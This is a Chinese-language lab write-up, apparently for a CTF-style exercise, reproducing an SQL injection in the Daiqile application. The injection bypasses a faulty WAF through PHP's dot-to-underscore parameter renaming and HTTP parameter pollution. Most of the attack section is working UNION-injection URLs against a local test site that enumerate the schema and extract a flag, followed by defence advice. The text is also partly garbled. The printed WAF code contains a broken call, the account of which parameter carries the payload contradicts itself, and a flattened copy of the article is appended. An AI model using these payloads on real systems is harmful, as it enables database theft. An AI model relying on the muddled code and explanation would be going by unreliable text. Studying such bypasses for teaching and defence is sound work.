贷齐乐错误的waf引起的SQL注入漏洞复现
字数 1050 2025-08-18 17:33:28

贷齐乐错误的WAF引起的SQL注入漏洞复现与分析

漏洞概述

本漏洞是基于错误的WAF(Web应用防火墙)实现导致的SQL注入漏洞,与SQLi靶场中的29关到31关类似,但存在关键区别:

  • 本漏洞由错误的WAF引起
  • 29-31关由HTTP参数污染(HPP)引起
  • 本漏洞涉及HPP全局参数污染以及PHP的特性

环境准备

所需环境

  • PHP版本:5.4.45(不支持PHP7)
  • 中间件:Apache
  • 数据库:MySQL 5.7.26

数据库设置

  1. 创建数据库:
CREATE DATABASE ctf;
  1. 创建表:
CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
  1. 插入测试数据:
INSERT INTO `users` (`name`, `pass`, `flag`) 
VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}');

WAF分析

第一道WAF

function dowith_sql($str) {
    $check = preg_match('/select|insert|update|delete|union|into|load_file|outfile/is', $str);
    if($check) {
        echo "非法字符!";
        exit();
    }
    $newstr = "";
    while($newstr != $str) {
        $newstr = $str;
        $str = str_replace("script", "", $str);
        $str = str_replace("execute", "", $str);
        $str = str_replace("update", "", $str);
        $str = str_replace("master", "", $str);
        $str = str_replace("truncate", "", $str);
        $str = str_replace("declare", "", $str);
        $str = str_replace("select", "", $str);
        $str = str_replace("create", "", $str);
        $str = str_replace("delete", "", $str);
        $str = str_replace("insert", "", $str);
        $str = str_replace(str);
    }
    return $str;
}

第二道WAF

function safe_str($str) {
    if(!get_magic_quotes_gpc()) {
        if(is_array($str)) {
            foreach($str as $key => $value) {
                $str[$key] = safe_str($value);
            }
        } else {
            $str = addslashes($str);
        }
    }
    return $str;
}

function dhtmlspecialchars($string) {
    if(is_array($string)) {
        foreach($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        $string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
        if(strpos($string, '&#') !== false) {
            $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}

漏洞原理

PHP特性利用

  1. 参数名转换特性:PHP在解析参数时,会将参数名中的点(.)、空格( )等字符转换为下划线(_)

    • 例如:i.d会被转换为i_d
  2. 参数处理顺序

    • 第一道WAF处理$_REQUEST时,会处理转换后的参数名
    • 第二道WAF处理$_SERVER['REQUEST_URI']时,处理原始参数名

绕过思路

  1. 构造两个参数:

    • i_d=恶意payload:会被第一道WAF检测
    • i.d=正常值:会被第一道WAF忽略(因为参数名不同)
  2. 由于PHP的参数处理特性:

    • 第一道WAF看到的是i_d=正常值
    • 第二道WAF看到的是i.d=恶意payload并覆盖i_d的值

漏洞复现步骤

1. 测试参数转换

http://127.0.0.1/daiqile/index.php/?i_d=bad'&i.d=111&submit=1

2. 联合查询注入

由于不能使用括号,使用注释代替空格:

确定回显字段

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

爆出数据库名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

爆出表名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

注:0x637466是"ctf"的十六进制表示

爆出列名

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1

注:0x7573657273是"users"的十六进制表示

获取flag

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

关键知识点总结

  1. PHP参数名转换:PHP会将GET参数名中的点(.)转换为下划线(_)
  2. WAF处理顺序
    • 第一道WAF处理转换后的参数名
    • 第二道WAF处理原始参数名并覆盖值
  3. HPP(HTTP参数污染):利用同名参数最后一个生效的特性
  4. 绕过技术
    • 使用i_di.d两个参数
    • 第一道WAF检测i_d=正常值
    • 第二道WAF处理i.d=恶意payload并覆盖i_d
  5. SQL注入技巧
    • 使用/**/代替空格
    • 使用like代替=(因为等号被过滤)
    • 使用十六进制表示字符串值

防御建议

  1. 统一参数名处理方式
  2. 在WAF中处理原始URI和转换后的参数
  3. 使用参数白名单机制
  4. 使用预编译语句(Prepared Statement)防止SQL注入
  5. 升级到最新PHP版本,避免使用已弃用的函数
贷齐乐错误的WAF引起的SQL注入漏洞复现与分析 漏洞概述 本漏洞是基于错误的WAF(Web应用防火墙)实现导致的SQL注入漏洞,与SQLi靶场中的29关到31关类似,但存在关键区别: 本漏洞由错误的WAF引起 29-31关由HTTP参数污染(HPP)引起 本漏洞涉及HPP全局参数污染以及PHP的特性 环境准备 所需环境 PHP版本:5.4.45(不支持PHP7) 中间件:Apache 数据库:MySQL 5.7.26 数据库设置 创建数据库: 创建表: 插入测试数据: WAF分析 第一道WAF 第二道WAF 漏洞原理 PHP特性利用 参数名转换特性 :PHP在解析参数时,会将参数名中的点(.)、空格( )等字符转换为下划线(_ ) 例如: i.d 会被转换为 i_d 参数处理顺序 : 第一道WAF处理 $_REQUEST 时,会处理转换后的参数名 第二道WAF处理 $_SERVER['REQUEST_URI'] 时,处理原始参数名 绕过思路 构造两个参数: i_d=恶意payload :会被第一道WAF检测 i.d=正常值 :会被第一道WAF忽略(因为参数名不同) 由于PHP的参数处理特性: 第一道WAF看到的是 i_d=正常值 第二道WAF看到的是 i.d=恶意payload 并覆盖 i_d 的值 漏洞复现步骤 1. 测试参数转换 2. 联合查询注入 由于不能使用括号,使用注释代替空格: 确定回显字段 爆出数据库名 爆出表名 注: 0x637466 是"ctf"的十六进制表示 爆出列名 注: 0x7573657273 是"users"的十六进制表示 获取flag 关键知识点总结 PHP参数名转换 :PHP会将GET参数名中的点(.)转换为下划线(_ ) WAF处理顺序 : 第一道WAF处理转换后的参数名 第二道WAF处理原始参数名并覆盖值 HPP(HTTP参数污染) :利用同名参数最后一个生效的特性 绕过技术 : 使用 i_d 和 i.d 两个参数 第一道WAF检测 i_d=正常值 第二道WAF处理 i.d=恶意payload 并覆盖 i_d SQL注入技巧 : 使用 /**/ 代替空格 使用 like 代替 = (因为等号被过滤) 使用十六进制表示字符串值 防御建议 统一参数名处理方式 在WAF中处理原始URI和转换后的参数 使用参数白名单机制 使用预编译语句(Prepared Statement)防止SQL注入 升级到最新PHP版本,避免使用已弃用的函数